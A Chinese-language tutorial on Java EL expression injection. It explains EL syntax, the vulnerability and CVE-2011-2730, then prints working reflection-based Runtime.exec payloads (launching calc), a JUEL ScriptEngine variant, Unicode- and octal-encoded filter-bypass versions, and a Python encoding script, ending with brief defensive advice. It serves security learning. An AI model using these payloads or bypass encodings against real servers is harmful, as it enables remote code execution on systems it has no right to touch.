EL表达式注入
今天来学习EL表达式注入
前置基础
EL(全称 Expression Language)表达式语言
作用 :
简化JSP页面内的Java代码
主要作用为 **获取数据 。**从域中获取数据,然后将数据展示出来
用法 :
使用的前提是通过page标签设置不忽略EL表达式
1 <%@ page contentType="text/html;charset=UTF-8" language="java" isELIgnored="false" %>
基础操作符:
这里我们列出来几个较为重要的算术和逻辑操作符
操作 符
描述
.
访问一个Bean属性或者一个映射条目 ${param.order}
[]
访问一个数组或者链表的元素 ${param[“order”]}
()
组织一个子表达式以改变优先级
语法 :
EL表达式的用法为${expression}
例如${<font style="color:rgb(102, 102, 102);">userinfo</font>}
代表从域 中获取变量userinfo的值
而JSP中存在四大域,分别为
page:当前页面有效
request:当前请求有效
session:当前会话有效
application:当前应用有效
EL表达式获取数据时,依次从以上四个域中获取,直到寻找到该变量(若没有找到则返回""
)
有些双亲委派的味道
EL表达式漏洞注入
漏洞原理
EL表达式注入漏洞的漏洞原理是:表达式外部可控 导致攻击者注入恶意表达式从而实现任意代码执行,SpEL、OGNL等表达式注入也是一样的漏洞原理
一般来说,EL表达式注入漏洞的外部可控点入口都是在Java程序代码中,即Java程序中的EL表达式内容全部或部分是外部获取的
通用的Poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 ${pageContext} ${pageContext.getSession().getServletContext().getClassLoader().getResource("" )} ${header} ${applicationScope} ${pageContext.request.getSession().setAttribute("a" ,pageContext.request.getClass().forName("java.lang.Runtime" ).getMethod("getRuntime" ,null ).invoke(null ,null ).exec("calc" ).getInputStream())}
简单的漏洞利用
当存在一个参数`X`可控时,可以插入到JSP页面中
我们将参数X
设为以下payload
1 ${pageContext.setAttribute("a" ,"" .getClass().forName("java.lang.Runtime" ).getMethod("exec" ,"" .getClass()).invoke("" .getClass().forName("java.lang.Runtime" ).getMethod("getRuntime" ).invoke(null ),"calc.exe" ))}
当我们访问JSP页面时,服务端就会解析构造的恶意EL表达式,从而造成EL表达式注入
在实际的应用场景中,几乎没有也无法直接从外部控制JSP页面中的EL表达式的。而且目前已知的EL表达式注入漏洞都是框架层面服务端执行的EL表达式外部可控导致的
简单漏洞场景CVE-2011-2730
参考链接:[https://juejin.cn/post/6844903572077838350](https://juejin.cn/post/6844903572077838350)
正常情况下使用message标签,text属性使用EL表达式从请求中取值
1 2 <%@ taglib uri="http://www.springframework.org/tags" prefix="spring" %> <spring:message text="${param.a}" ></spring:message>
当我们访问以下url时候,${applicationScope}
就会被当作EL表达式执行
我们改变EL表达式的内容,就可以达到其他目的
EL表达式的EXP与基础绕过
基础EXP
1 ${'' .getClass().forName('java.lang.Runtime' ).getMethod('exec' ,'' .getClass()).invoke('' .getClass().forName('java.lang.Runtime' ).getMethod('getRuntime' ).invoke(null ),'calc.exe' )}
利用 ScriptEngine 调用 JS 引擎绕过
引用drun1baby师傅的博客
EL 曾经是 JSTL
的一部分。然后,EL 进入了 JSP 2.0 标准。现在,尽管是 JSP 2.1 的一部分,但 EL API 已被分离到包 javax.el
中, 并且已删除了对核心 JSP 类的所有依赖关系。换句话说:EL 已准备好在非 JSP 应用程序中使用!
也就是说,现在 EL 表达式所依赖的包 javax.el
等都在 JUEL
相关的 jar 包中。
JUEL(Java Unified Expression Language)是统一表达语言轻量而高效级的实现,具有高性能,插件式缓存,小体积,支持方法调用和多参数调用,可插拔多种特性。
需要的 jar 包:juel-api-2.2.7、juel-spi-2.2.7、juel-impl-2.2.7
在pom.xml中导入依赖
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <dependency> <groupId>de.odysseus.juel</groupId> <artifactId>juel-impl</artifactId> <version>2.2 .7 </version> </dependency> <dependency> <groupId>de.odysseus.juel</groupId> <artifactId>juel-api</artifactId> <version>2.2 .7 </version> </dependency> <dependency> <groupId>de.odysseus.juel</groupId> <artifactId>juel-spi</artifactId> <version>2.2 .7 </version> </dependency>
运行后,通过反射调用Runtime
类,成功执行恶意代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 package drunkbaby.basicelvul; import de.odysseus.el.ExpressionFactoryImpl; import de.odysseus.el.util.SimpleContext; import javax.el.ExpressionFactory; import javax.el.ValueExpression; public class ScriptEngineExec { public static void main (String[] args) { ExpressionFactory expressionFactory = new ExpressionFactoryImpl (); SimpleContext simpleContext = new SimpleContext (); String exp = "${''.getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"java.lang.Runtime.getRuntime().exec('Calc.exe')\")}\n" + " " ; ValueExpression valueExpression = expressionFactory.createValueExpression(simpleContext, exp, String.class); valueExpression.getValue(simpleContext); } }
利用 Unicode 编码绕过
对可利用的poc进行全部或者部分的Unicode编码都是可以的
1 2 \u0024\u007b\u0027\u0027\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u0028\u0029\u002e\u0066\u006f\u0072\u004e\u0061\u006d\u0065\u0028\u0027\u006a\u0061\u0076\u0061\u002e\u006c\u0061\u006e\u0067\u002e\u0052\u0075\u006e\u0074\u0069\u006d\u0065\u0027\u0029\u002e\u0067\u0065\u0074\u004d\u0065\u0074\u0068\u006f\u0064\u0028\u0027\u0065\u0078\u0065\u0063\u0027\u002c\u0027\u0027\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u0028\u0029\u0029\u002e\u0069\u006e\u0076\u006f\u006b\u0065\u0028\u0027\u0027\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u0028\u0029\u002e\u0066\u006f\u0072\u004e\u0061\u006d\u0065\u0028\u0027\u006a\u0061\u0076\u0061\u002e\u006c\u0061\u006e\u0067\u002e\u0052\u0075\u006e\u0074\u0069\u006d\u0065\u0027\u0029\u002e\u0067\u0065\u0074\u004d\u0065\u0074\u0068\u006f\u0064\u0028\u0027\u0067\u0065\u0074\u0052\u0075\u006e\u0074\u0069\u006d\u0065\u0027\u0029\u002e\u0069\u006e\u0076\u006f\u006b\u0065\u0028\u006e\u0075\u006c\u006c\u0029\u002c\u0027\u0063\u0061\u006c\u0063\u002e\u0065\u0078\u0065\u0027\u0029\u007d
利用八进制编码绕过
1 2 \44 \173 \47 \47 \56 \147 \145 \164 \103 \154 \141 \163 \163 \50 \51 \56 \146 \157 \162 \116 \141 \155 \145 \50 \47 \152 \141 \166 \141 \56 \154 \141 \156 \147 \56 \122 \165 \156 \164 \151 \155 \145 \47 \51 \56 \147 \145 \164 \115 \145 \164 \150 \157 \144 \50 \47 \145 \170 \145 \143 \47 \54 \47 \47 \56 \147 \145 \164 \103 \154 \141 \163 \163 \50 \51 \51 \56 \151 \156 \166 \157 \153 \145 \50 \47 \47 \56 \147 \145 \164 \103 \154 \141 \163 \163 \50 \51 \56 \146 \157 \162 \116 \141 \155 \145 \50 \47 \152 \141 \166 \141 \56 \154 \141 \156 \147 \56 \122 \165 \156 \164 \151 \155 \145 \47 \51 \56 \147 \145 \164 \115 \145 \164 \150 \157 \144 \50 \47 \147 \145 \164 \122 \165 \156 \164 \151 \155 \145 \47 \51 \56 \151 \156 \166 \157 \153 \145 \50 \156 \165 \154 \154 \51 \54 \47 \143 \141 \154 \143 \56 \145 \170 \145 \47 \51 \175
JohnFord 编码脚本如下
1 2 3 4 5 6 str = "${''.getClass().forName('java.lang.Runtime').getMethod('exec',''.getClass()).invoke(''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null),'calc.exe')}" result = "" for s in str: num = "\\" + oct(ord(s)) result += num print (result.replace("\\0" , "\\" ) )
防御方法
尽量不使用外部输入的内容作为EL表达式的内容
若使用,严格过滤EL表达式注入漏洞payload关键字
如果是排查Java程序中JURL相关代码,则搜索如下关键类方法
1 2 javax.el.ExpressionFactory.createValueExpression() javax.el.ValueExpression.getValue()